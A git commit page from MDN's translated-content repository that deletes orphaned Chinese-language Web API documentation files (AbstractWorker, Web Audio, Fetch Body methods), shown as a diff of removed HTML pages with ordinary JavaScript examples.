diff options
author | Peter Bengtsson <mail@peterbe.com> | 2021-07-16 16:27:00 -0400 |
---|---|---|
committer | GitHub <noreply@github.com> | 2021-07-17 04:27:00 +0800 |
commit | b9afb23d12dcae1e09f8d04c72143c5ddaa34aea (patch) | |
tree | f6c20844119bcaf0131ad4a037e0245577927f2c /files/zh-cn/orphaned/web | |
parent | 1aa671566c3a990ec2df9a46137471d624b6f7ff (diff) | |
download | translated-content-b9afb23d12dcae1e09f8d04c72143c5ddaa34aea.tar.gz translated-content-b9afb23d12dcae1e09f8d04c72143c5ddaa34aea.tar.bz2 translated-content-b9afb23d12dcae1e09f8d04c72143c5ddaa34aea.zip |
delete conflicting/orphaned docs (zh-CN) (#1412)
* delete conflicting docs (zh-CN)
* and redirects
* do orphaned as well
* fix
* remove more orphans
* revert orphaned docs that can identify origin
* move orphaned docs to current loc
* adjust slug path
* fix redirect change from rebase
Co-authored-by: Irvin <irvinfly@gmail.com>
Diffstat (limited to 'files/zh-cn/orphaned/web')
151 files changed, 0 insertions, 16590 deletions
diff --git a/files/zh-cn/orphaned/web/api/abstractworker/index.html b/files/zh-cn/orphaned/web/api/abstractworker/index.html deleted file mode 100644 index b92de9c8ff..0000000000 --- a/files/zh-cn/orphaned/web/api/abstractworker/index.html +++ /dev/null @@ -1,88 +0,0 @@ ---- -title: AbstractWorker -slug: orphaned/Web/API/AbstractWorker -tags: - - API - - AbstractWorker - - Interface - - Reference - - SharedWorker - - Web Workers - - Worker -translation_of: Web/API/AbstractWorker -original_slug: Web/API/AbstractWorker ---- -<p>{{ APIRef("Web Workers API") }}</p> - -<p> <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API">Web Workers API</a> 的 <strong><code>AbstractWorker</code></strong> 接口是一个定义适用于所有类型 worker 属性和方法的抽象接口,包括基础的 {{domxref("Worker")}},{{domxref("ServiceWorker")}} 以及 {{domxref("SharedWorker")}}。作为一个抽象类,你不能直接使用 <code>AbstractWorker</code>。</p> - -<h2 id="属性">属性</h2> - -<p><em><code>AbstractWorker</code></em><em> 接口不会继承任何属性。</em></p> - -<h3 id="事件处理函数">事件处理函数</h3> - -<dl> - <dt>{{domxref("AbstractWorker.onerror")}}</dt> - <dd>当 worker 中出现 {{domxref("ErrorEvent")}} 类型的错误时,{{ domxref("EventListener") }} 就会被调用。</dd> -</dl> - -<h2 id="方法">方法</h2> - -<p><em><code>AbstractWorker</code></em><em> 接口不会实现或继承任何方法。</em></p> - -<h2 id="例子">例子</h2> - -<p>作为一个抽象类接口,你不应该在代码中直接使用 <code>AbstractWorker</code> 接口。取而代之,你应该使用 {{domxref("Worker")}} 或 {{domxref("SharedWorker")}},这两者都继承了 <code>AbstractWorker</code> 的属性。</p> - -<p>下面的一小段代码是展示如何使用 {{domxref("Worker.Worker", "Worker()")}} 构造函数构造 {{domxref("Worker")}} 对象并使用它:</p> - -<pre class="notranslate"><code>var myWorker = new Worker("worker.js"); - -first.onchange = function() { - myWorker.postMessage([first.value,second.value]); - console.log('Message posted to worker'); -}</code></pre> - -<p>worker 的代码会从 <code>"worker.js"</code> 文件被加载。代码假设这里已经有一个现成的 {{HTMLElement("input")}} 元素且由 <code>first</code> 表示;设置了一个用于 {{event("change")}} 事件的事件处理函数,所以当用户更改 <code>first</code> 的值时,一个提示信息会被提交且通知到 worker。</p> - -<p>完整的例子,请看:</p> - -<ul> - <li><a href="https://github.com/mdn/simple-web-worker">专用worker的基本例子</a> ( <a href="http://mdn.github.io/simple-web-worker/">运行专用worker</a> )</li> - <li><a href="https://github.com/mdn/simple-shared-worker">共享worker的基本例子</a> ( <a href="http://mdn.github.io/simple-shared-worker/">运行共享worker</a> )</li> -</ul> - -<h2 id="相关规范">相关规范</h2> - -<table> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName("HTML WHATWG", "#abstractworker", "AbstractWorker")}}</td> - <td>{{Spec2("HTML WHATWG")}}</td> - <td>No change from {{SpecName("Web Workers")}}.</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性"><br> - 浏览器兼容性</h2> - -<p>{{Compat("api.AbstractWorker")}}</p> - -<div id="compat-desktop"></div> - -<h2 id="相关链接">相关链接</h2> - -<ul> - <li>{{domxref("Worker")}},{{domxref("ServiceWorker")}} 以及 {{domxref("SharedWorker")}} 接口,都基于 <code>AbstractWorker</code> 定义</li> - <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API">Web Workers API</a></li> - <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API/Using_web_workers">Using Web Workers</a></li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/abstractworker/onerror/index.html b/files/zh-cn/orphaned/web/api/abstractworker/onerror/index.html deleted file mode 100644 index fe50b2e767..0000000000 --- a/files/zh-cn/orphaned/web/api/abstractworker/onerror/index.html +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: AbstractWorker.onerror -slug: orphaned/Web/API/AbstractWorker/onerror -tags: - - API - - AbstractWorker - - EventHandler - - Property - - Reference - - Web Workers - - Workers - - onerror -translation_of: Web/API/AbstractWorker/onerror -original_slug: Web/API/AbstractWorker/onerror ---- -<p>{{ APIRef("Web Workers API") }}</p> - -<h2 id="概述">概述</h2> - -<p>{{domxref("AbstractWorker")}}接口的<strong><code>onerror</code></strong>特性是一个事件句柄,在 {{domxref("Worker")}}的{{event("error")}}事件触发并冒泡时执行。</p> - -<h2 id="语法">语法</h2> - -<pre class="syntaxbox">myWorker.onerror = function() { ... };</pre> - -<h2 id="示例">示例</h2> - -<p>下面的代码片段展示了通过 <a href="https://developer.mozilla.org/en-US/docs/Web/API/Worker.Worker" title="The Worker() constructor creates a Worker that executes the script at the specified URL. This script must obey the same-origin policy."><code>Worker()</code></a> 创建 <a href="https://developer.mozilla.org/zh-CN/docs/Web/API/Worker" title="Worker 是可以在后台运行的任务,它能够被轻松的创建,还能向它的创建者发送消息。 你只要调用 Worker() 构造函数,指定一个需要运行在 worker 线程内的脚本,就能够很容易的创建一个 worker。"><code>Worker</code></a> 对象的过程, 以及设置onerror回调函数:</p> - -<pre class="brush: js">var myWorker = new Worker("worker.js"); - -myWorker.onerror = function() { - console.log('There is an error with your worker!'); -}</pre> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('HTML WHATWG', "#handler-abstractworker-onerror", "AbstractWorker.onerror")}}</td> - <td>{{Spec2('HTML WHATWG')}}</td> - <td>No change from {{SpecName("Web Workers")}}.</td> - </tr> - <tr> - <td>{{SpecName('Web Workers', "#handler-abstractworker-onerror", "AbstractWorker.onerror")}}</td> - <td>{{Spec2('Web Workers')}}</td> - <td>Initial definition.</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - -<div> -<p>{{Compat("api.AbstractWorker.onerror")}}</p> - -<h3 id="试图加载跨域_Worker_的错误差异">试图加载跨域 Worker 的错误差异</h3> - -<p>早期浏览器会抛出 <code>SecurityError</code>,在规范变更后,则是 {{event("error")}} 事件。具体见 <a href="https://www.fxsitecompat.com/en-CA/docs/2016/loading-cross-origin-worker-now-fires-error-event-instead-of-throwing-worker-in-sandboxed-iframe-no-longer-allowed/">Loading cross-origin worker now fires error event instead of throwing; worker in sandboxed iframe no longer allowed</a>.</p> -</div> - -<div id="compat-mobile"> </div> - -<h2 id="另请参阅">另请参阅</h2> - -<ul> - <li>The {{domxref("AbstractWorker")}} interface it belongs to.</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/ambient_light_events/index.html b/files/zh-cn/orphaned/web/api/ambient_light_events/index.html deleted file mode 100644 index 79a7ed9fbe..0000000000 --- a/files/zh-cn/orphaned/web/api/ambient_light_events/index.html +++ /dev/null @@ -1,75 +0,0 @@ ---- -title: Using Light Events -slug: orphaned/Web/API/Ambient_Light_Events -tags: - - WebAPI - - 事件 - - 环境光 -translation_of: Web/API/Ambient_Light_Events -original_slug: Web/API/Ambient_Light_Events ---- -<div>{{DefaultAPISidebar("Ambient Light Events")}}{{SeeCompatTable}}</div> - -<p>环境光线事件是一个易用的让网页或应用感知光强变化的方法。它使网页或应用能对光强变化做出反应,例如改变用户界面的颜色对比度,或为拍照而改变曝光度。</p> - -<h2 id="光线事件">光线事件</h2> - -<p>当设备的光线传感器检测到光强等级的变化时,它会向浏览器通知这个变化。当浏览器得到这个通知后,会发送(fire)一个提供光强信息的 {{domxref("DeviceLightEvent")}} 事件。</p> - -<p>想要捕获这个事件,可用 {{domxref("EventTarget.addEventListener","addEventListener")}} 方法把事件处理器绑定到 <code>window</code> 上(使用 {{event("devicelight")}} 事件名),或者直接把事件处理器赋值给 {{domxref("window.ondevicelight")}} 属性。</p> - -<p>该事件被捕捉后,可以从传入的事件对象上的 {{domxref("DeviceLightEvent.value")}} 属性获取光强(单位为 {{interwiki("wikipedia", "lux")}})。</p> - -<h2 id="示例">示例</h2> - -<pre class="brush: js">if ('ondevicelight' in window) { - window.addEventListener('devicelight', function(event) { - var body = document.querySelector('body'); - if (event.value < 50) { - body.classList.add('darklight'); - body.classList.remove('brightlight'); - } else { - body.classList.add('brightlight'); - body.classList.remove('darklight'); - } - }); -} else { - console.log('不支持 devicelight 事件'); -} -</pre> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">规范</th> - <th scope="col">状态</th> - <th scope="col">备注</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{ SpecName('AmbientLight', '', 'Ambient Light Events') }}</td> - <td>{{ Spec2('AmbientLight') }}</td> - <td>首次定义</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - - - -<p>{{Compat("api.DeviceLightEvent")}}</p> - -<h3 id="Gecko_备注">Gecko 备注</h3> - -<p>{{event("devicelight")}} 事件在 Firefox Mobile for Android (15.0) 和 Firefox OS (B2G) 上实现并默认可用。从Gecko 22.0 {{geckoRelease("22.0")}} 开始,Mac OS X桌面版也可使用该事件。</p> - -<h2 id="参见">参见</h2> - -<ul> - <li>{{domxref("DeviceLightEvent")}}</li> - <li>{{event("devicelight")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/analysernode/fft/index.html b/files/zh-cn/orphaned/web/api/analysernode/fft/index.html deleted file mode 100644 index 77290a3c99..0000000000 --- a/files/zh-cn/orphaned/web/api/analysernode/fft/index.html +++ /dev/null @@ -1,8 +0,0 @@ ---- -title: Directory failure 目录失效 -slug: orphaned/Web/API/AnalyserNode/fft -original_slug: Web/API/AnalyserNode/fft ---- -<p>目录失效</p> - -<p dir="ltr" id="tw-target-text">Directory failure</p> diff --git a/files/zh-cn/orphaned/web/api/audiocontext/mozaudiochanneltype/index.html b/files/zh-cn/orphaned/web/api/audiocontext/mozaudiochanneltype/index.html deleted file mode 100644 index 91c65f922a..0000000000 --- a/files/zh-cn/orphaned/web/api/audiocontext/mozaudiochanneltype/index.html +++ /dev/null @@ -1,96 +0,0 @@ ---- -title: AudioContext.mozAudioChannelType -slug: orphaned/Web/API/AudioContext/mozAudioChannelType -translation_of: Web/API/AudioContext/mozAudioChannelType -original_slug: Web/API/AudioContext/mozAudioChannelType ---- -<p>{{APIRef("Web Audio API")}} {{Non-standard_header}}</p> - -<p>{{domxref("AudioContext")}}的<code>mozAudioChannelType</code>属性是只读的,在Firefox OS设备上可以用来设置音频在audio context中播放的声道。</p> - -<p>该属性是<a href="/en-US/docs/Web/API/AudioChannels_API">AudioChannels API</a>中定义的非标准属性,更多信息请查看<a href="https://developer.mozilla.org/en-US/docs/Web/API/AudioChannels_API/Using_the_AudioChannels_API">Using the AudioChannels API</a></p> - -<h2 id="语法">语法</h2> - -<pre class="brush: js">var audioCtx = new AudioContext(); -var myAudioChannelType = audioCtx.mozAudioChannelType; -</pre> - -<p>只能通过下面的构造器来设置AudioContext中音频的声道:</p> - -<pre class="brush: js">var audioCtx = new AudioContext('ringer');</pre> - -<h3 id="返回值">返回值</h3> - -<p>A {{domxref("DOMString")}} value.</p> - -<h2 id="例子">例子</h2> - -<p>TBD</p> - -<h2 id="规范">规范</h2> - -<p>AudioChannels API目前没有官方规范,实现细节请查看<a href="https://wiki.mozilla.org/WebAPI/AudioChannels">https://wiki.mozilla.org/WebAPI/AudioChannels</a>、WebIDL等等</p> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - -<div>{{CompatibilityTable}}</div> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari (WebKit)</th> - </tr> - <tr> - <td>General support</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Chrome</th> - <th>Firefox Mobile (Gecko)</th> - <th>Firefox OS</th> - <th>IE Phone</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>General support</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>1.2</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - </tr> - </tbody> -</table> -</div> - -<h2 id="另见">另见</h2> - -<ul> - <li><a href="/en-US/Apps/Build/App_permissions">App permissions for Firefox OS</a></li> - <li><a href="/en-US/docs/Web/API/AudioChannels_API/Using_the_AudioChannels_API">Using the AudioChannels API</a></li> - <li>{{domxref("Navigator.mozAudioChannelManager","navigator.mozAudioChannelManager")}}</li> - <li>{{domxref("AudioContext")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/audionode/connect(audioparam)/index.html b/files/zh-cn/orphaned/web/api/audionode/connect(audioparam)/index.html deleted file mode 100644 index 46011aa83e..0000000000 --- a/files/zh-cn/orphaned/web/api/audionode/connect(audioparam)/index.html +++ /dev/null @@ -1,164 +0,0 @@ ---- -title: AudioNode.connect(AudioParam) -slug: orphaned/Web/API/AudioNode/connect(AudioParam) -translation_of: Web/API/AudioNode/connect(AudioParam) -original_slug: Web/API/AudioNode/connect(AudioParam) ---- -<p>{{ APIRef("Web Audio API") }}</p> - -<div> -<p>允许我们将当前节点的一个输出连接到音频参数的一个输入,并允许通过音频信号控制参数。<br> - 使AudioNode输出连接到多个AudioParam,并将多个AudioNode输出连接到单个 AudioParam,同时多次调用connect()。因此支持Fan-in and fan-out。<br> - AudioParam可以从连接到它的任何AudioNode输出获取渲染的音频数据,并通过下混合将其转换为单声道(如果本身不是单声道的话)。然后,它将其他这样的输出和固定参数混合( AudioParam的值通常没有任何连接),包括为参数调度的任何时间的变化。<br> - 因此,可以通过将AudioParam的值设置为中心频率来选择AudioParam将要更改的范围,并使用音频源和AudioParam之间的GainNode来调整AudioParam更改的范围。</p> -</div> - -<h2 id="Syntax">Syntax</h2> - -<pre class="brush: js;highlight[11]">var lfo = audioCtx.createOscillator(); -lfo.frequency.value = 2.0; // Hz, two times per second - -var lfoGain = audioCtx.createGain(); -lfoGain.gain.value = 0.5; - -// this is the parameter that is going to be modulated -var gain = audioCtx.createGain(); -gain.gain.value = 0.5; - -// Oscillators go from -1 to 1 -// Make it go from -0.5 to +0.5 by connecting it to a GainNode with a gain value of 0.5 -lfo.connect(lfoGain); - -// because the value of the gain.gain AudioParam is originaly 0.5, the value is added, and it will go from 0.0 to 1.0 -lfoGain.connect(gain.gain); - -lfo.connect(gain.gain);</pre> - -<div class="note"> -<p><strong>Note</strong>: There can only be one connection between an output from one specific <code>AudioNode</code> and an {{ domxref("AudioParam") }}. Multiple connections to the same termini are equivalent to a single such connection (the duplicates are ignored).</p> -</div> - -<h3 id="Description" name="Description">Returns</h3> - -<p>Void.</p> - -<h2 id="Examples" name="Examples">Example</h2> - -<p>In this example, we will be altering the gain value of a {{domxref("GainNode")}} using an {{domxref("OscillatorNode")}} with a slow frequency value. This technique is know as an <em>LFO</em>-controlled parameter.</p> - -<pre class="brush: js;highlight[8,9]">var AudioContext = window.AudioContext || window.webkitAudioContext; - -var audioCtx = new AudioContext(); - -// create an normal oscillator to make sound -var oscillator = audioCtx.createOscillator(); - -// create a second oscillator that will be used as an LFO (Low-frequency -// oscillator), and will control a parameter -var lfo = audioCtx.createOscillator(); - -// set the frequency of the second oscillator to a low number -lfo.frequency.value = 2.0; // 2Hz: two oscillations par second - -// create a gain whose gain AudioParam will be controlled by the LFO -var gain = audioCtx.createGain(); - -// connect the LFO to the gain AudioParam. This means the value of the LFO -// will not produce any audio, but will change the value of the gain instead -lfo.connect(gain.gain); - -// connect the oscillator that will produce audio to the gain -oscillator.connect(gain); - -// connect the gain to the destination so we hear sound -gain.connect(audioCtx.destination); - -// start the oscillator that will produce audio -oscillator.start(); - -// start the oscillator that will modify the gain value -lfo.start();</pre> - -<h2 id="Parameters" name="Parameters">Parameters</h2> - -<dl> - <dt>Destination</dt> - <dd>The {{ domxref("AudioParam") }} you are connecting to.</dd> - <dt>Output (optional)</dt> - <dd>An index describing which output of the current <code>AudioNode</code> you want to connect to the {{ domxref("AudioParam") }}. The index numbers are defined according to the number of output channels (see <a href="/en-US/docs/Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API#Audio_channels">Audio channels</a>.) If this parameter is out-of-bound, an <code>INDEX_SIZE_ERR</code> exception is thrown.</dd> -</dl> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('Web Audio API', '#widl-AudioNode-connect-void-AudioParam-destination-unsigned-long-output', 'connect(AudioParam)')}}</td> - <td>{{Spec2('Web Audio API')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - -<div>{{CompatibilityTable}}</div> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari (WebKit)</th> - </tr> - <tr> - <td><code>connect</code><code>(AudioParam)</code></td> - <td>{{CompatVersionUnknown}} {{property_prefix("webkit")}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatNo}}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Firefox Mobile (Gecko)</th> - <th>Firefox OS (Gecko)</th> - <th>IE Phone</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td><code>connect</code><code>(AudioParam)</code></td> - <td>{{CompatNo}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - </tr> - </tbody> -</table> -</div> - -<h2 id="See_also">See also</h2> - -<ul> - <li><a href="/en-US/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/body/arraybuffer/index.html b/files/zh-cn/orphaned/web/api/body/arraybuffer/index.html deleted file mode 100644 index 5d7acf678f..0000000000 --- a/files/zh-cn/orphaned/web/api/body/arraybuffer/index.html +++ /dev/null @@ -1,143 +0,0 @@ ---- -title: Body.arrayBuffer() -slug: orphaned/Web/API/Body/arrayBuffer -translation_of: Web/API/Body/arrayBuffer -original_slug: Web/API/Body/arrayBuffer ---- -<p>{{APIRef("Fetch")}}{{ SeeCompatTable() }}</p> - -<p> {{domxref("Body")}}上的<strong><code>方法 arrayBuffer()</code></strong> 接受一个 {{domxref("Response")}} 流, 并等待其读取完成. 它返回一个 promise 实例, 并 resolve 一个 {{domxref("ArrayBuffer")}} 对象.</p> - -<h2 id="语法">语法</h2> - -<pre class="brush: js">response.arrayBuffer().then(function(buffer) { - // do something with buffer -)};</pre> - -<h3 id="参数">参数</h3> - -<p>无。</p> - -<h3 id="返回值">返回值</h3> - -<p>A promise that resolves with an {{domxref("ArrayBuffer")}}.</p> - -<h2 id="例子">例子</h2> - -<p>In our <a href="https://github.com/mdn/fetch-examples/tree/gh-pages/fetch-array-buffer">fetch array buffer example</a> (run <a href="http://mdn.github.io/fetch-examples/fetch-array-buffer/">fetch array buffer live</a>), we have a Play button. When pressed, the <code>getData()</code> function is run.</p> - -<p>In <code>getData()</code> we create a new request using the {{domxref("Request.Request")}} constructor, then use it to fetch an OGG music track. We also use {{domxref("AudioContext.createBufferSource")}} to create an audio buffer source. When the fetch is successful, we read an {{domxref("ArrayBuffer")}} out of the response using <code>arrayBuffer()</code>, decode the audio data using {{domxref("AudioContext.decodeAudioData")}}, set the decoded data as the audio buffer source's buffer (<code>source.buffer</code>), then connect the source up to the {{domxref("AudioContext.destination")}}.</p> - -<p>Once <code>getData()</code> has finished running, we start the audio source playing with <code>start(0)</code>, then disable the play button so it can't be clicked again when it is already playing (this would cause an error.)</p> - -<pre class="brush: js">function getData() { - source = audioCtx.createBufferSource(); - - var myRequest = new Request('viper.ogg'); - - fetch(myRequest).then(function(response) { - response.arrayBuffer().then(function(buffer) { - audioCtx.decodeAudioData(buffer, function(decodedData) { - source.buffer = decodedData; - source.connect(audioCtx.destination); - }); - }); - }); -}; - -// wire up buttons to stop and play audio - -play.onclick = function() { - getData(); - source.start(0); - play.setAttribute('disabled', 'disabled'); -}</pre> - -<h2 id="标准">标准</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">标准</th> - <th scope="col">状态</th> - <th scope="col">备注</th> - </tr> - <tr> - <td>{{SpecName('Fetch','#dom-body-arraybuffer','arrayBuffer()')}}</td> - <td>{{Spec2('Fetch')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - -<p>{{ CompatibilityTable() }}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari (WebKit)</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{ CompatChrome(41) }}<sup>[1]</sup><br> - {{ CompatChrome(42) }}<br> - </td> - <td>34<sup>[1]</sup><br> - {{ CompatGeckoDesktop(39)}}</td> - <td>{{ CompatNo }}</td> - <td> - <p>28<sup>[1]</sup><br> - 29</p> - </td> - <td>{{ CompatNo }}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Firefox Mobile (Gecko)</th> - <th>Firefox OS (Gecko)</th> - <th>IE Phone</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - <th>Chrome for Android</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{ CompatNo }}</td> - <td>{{ CompatNo }}</td> - <td>{{ CompatNo }}</td> - <td>{{ CompatNo }}</td> - <td>{{ CompatNo }}</td> - <td>{{ CompatNo }}</td> - <td>{{ CompatNo }}</td> - </tr> - </tbody> -</table> -</div> - -<p>[1] In Chrome 42, Firefox 34 and Opera 28 support for <code>arrayBuffer()</code> was hidden behind a preference.</p> - -<h2 id="参考">参考</h2> - -<ul> - <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li> - <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li> - <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li> -</ul> - -<div id="sVim-command" class="hidden">-- NORMAL --</div> diff --git a/files/zh-cn/orphaned/web/api/body/blob/index.html b/files/zh-cn/orphaned/web/api/body/blob/index.html deleted file mode 100644 index 4f09632307..0000000000 --- a/files/zh-cn/orphaned/web/api/body/blob/index.html +++ /dev/null @@ -1,137 +0,0 @@ ---- -title: Body.blob() -slug: orphaned/Web/API/Body/blob -tags: - - Body.blob() -translation_of: Web/API/Body/blob -original_slug: Web/API/Body/blob ---- -<p>{{APIRef("Fetch")}}</p> - -<p>{{domxref("Body")}} mixin的 <strong><code>blob()</code></strong>方法使用一个 {{domxref("Response")}} 流,并将其读取完成。它返回一个使用{{domxref("Blob")}}解决的promise。</p> - -<h2 id="句法">句法</h2> - -<pre class="brush: js">response.blob().then(function(myBlob) { - // do something with myBlob -});</pre> - -<h3 id="参数">参数</h3> - -<p>None.</p> - -<h3 id="返回值">返回值</h3> - -<p>A promise that resolves with a {{domxref("Blob")}}.</p> - -<h2 id="例子">例子</h2> - -<p>在我们 <a href="https://github.com/mdn/fetch-examples/tree/gh-pages/fetch-request">fetch request example</a> (run <a href="http://mdn.github.io/fetch-examples/fetch-request/">fetch request live</a>)中,我们使用<a href="/zh-CN/docs/Mozilla/Add-ons/WebExtensions/API/webRequest/RequestFilter">Request.Request</a>构造方法创建了一个新的request对象,然后使用它来获取一个JPG文件。当fetch成功的时候,我们使用blob()从response中读取一个<a href="/zh-CN/docs/Web/API/Blob">Blob</a>对象,并使用<a href="/zh-CN/docs/Web/API/URL/createObjectURL">URL.createObjectURL</a> 将它放入一个object URL ,然后把URL设置为<a href="/zh-CN/docs/Web/HTML/Element/img">img</a>元素的src属性以显示这张图片。</p> - -<p> </p> - -<pre class="brush: js">var myImage = document.querySelector('img'); - -var myRequest = new Request('flowers.jpg'); - -fetch(myRequest) -.then(function(response) { - return response.blob(); -}) -.then(function(myBlob) { - var objectURL = URL.createObjectURL(myBlob); - myImage.src = objectURL; -}); -</pre> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">规范</th> - <th scope="col">状态</th> - <th scope="col">说明</th> - </tr> - <tr> - <td>{{SpecName('Fetch','#dom-body-blob','blob()')}}</td> - <td>{{Spec2('Fetch')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - -<p>{{ CompatibilityTable}}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Edge</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari (WebKit)</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{ CompatChrome(42) }} [1]<br> - </td> - <td>{{CompatVersionUnknown}}</td> - <td>{{ CompatGeckoDesktop(39)}} [2]</td> - <td>{{ CompatNo }}</td> - <td> - <p>29 [3]</p> - </td> - <td>{{ CompatNo }}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Edge</th> - <th>Firefox Mobile (Gecko)</th> - <th>Firefox OS (Gecko)</th> - <th>IE Phone</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - <th>Chrome for Android</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{ CompatNo }}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{ CompatNo }}</td> - <td>{{ CompatNo }}</td> - <td>{{ CompatNo }}</td> - <td>{{ CompatNo }}</td> - <td>{{ CompatNo }}</td> - <td>{{ CompatNo }}</td> - </tr> - </tbody> -</table> -</div> - -<p>[1] Behind a preference in version 41.</p> - -<p>[2] Behind a preference starting with version 34.</p> - -<p>[3] Behind a preference in version 28.</p> - -<h2 id="另见">另见</h2> - -<ul> - <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li> - <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li> - <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/body/body/index.html b/files/zh-cn/orphaned/web/api/body/body/index.html deleted file mode 100644 index abf63535fc..0000000000 --- a/files/zh-cn/orphaned/web/api/body/body/index.html +++ /dev/null @@ -1,87 +0,0 @@ ---- -title: Body.body -slug: orphaned/Web/API/Body/body -translation_of: Web/API/Body/body -original_slug: Web/API/Body/body ---- -<div>{{APIRef("Fetch")}}</div> - -<p>{{domxref("Body")}} mixin的只读getter属性 <strong><code>body</code></strong> 用于暴露其body内容的{{domxref("ReadableStream")}}(流读取)。</p> - -<h2 id="语法">语法</h2> - -<pre class="brush: js">var stream = responseInstance.body;</pre> - -<h3 id="Value">Value</h3> - -<p>一个 {{domxref("ReadableStream")}}.</p> - -<h2 id="例程">例程</h2> - -<p>在我们的 <a href="https://mdn.github.io/dom-examples/streams/simple-pump.html">simple stream pump</a> 例程中我们fetch一个图片地址,使用<code>response.body</code>暴露响应的流,用{{domxref("body.getReader()", "ReadableStream.getReader()")}}创建一个读取器,然后将其置入第二个自定义读取流中——有效的创建了一个完全相同的图片副本。</p> - -<pre class="brush: js">const image = document.getElementById('target'); - -// 请求原始图片 -fetch('./tortoise.png') -// 取出body -.then(response => response.body) -.then(body => { - const reader = body.getReader(); - - return new ReadableStream({ - start(controller) { - return pump(); - - function pump() { - return reader.read().then(({ done, value }) => { - // 读不到更多数据就关闭流 - if (done) { - controller.close(); - return; - } - - // 将下一个数据块置入流中 - controller.enqueue(value); - return pump(); - }); - } - } - }) -}) -.then(stream => new Response(stream)) -.then(response => 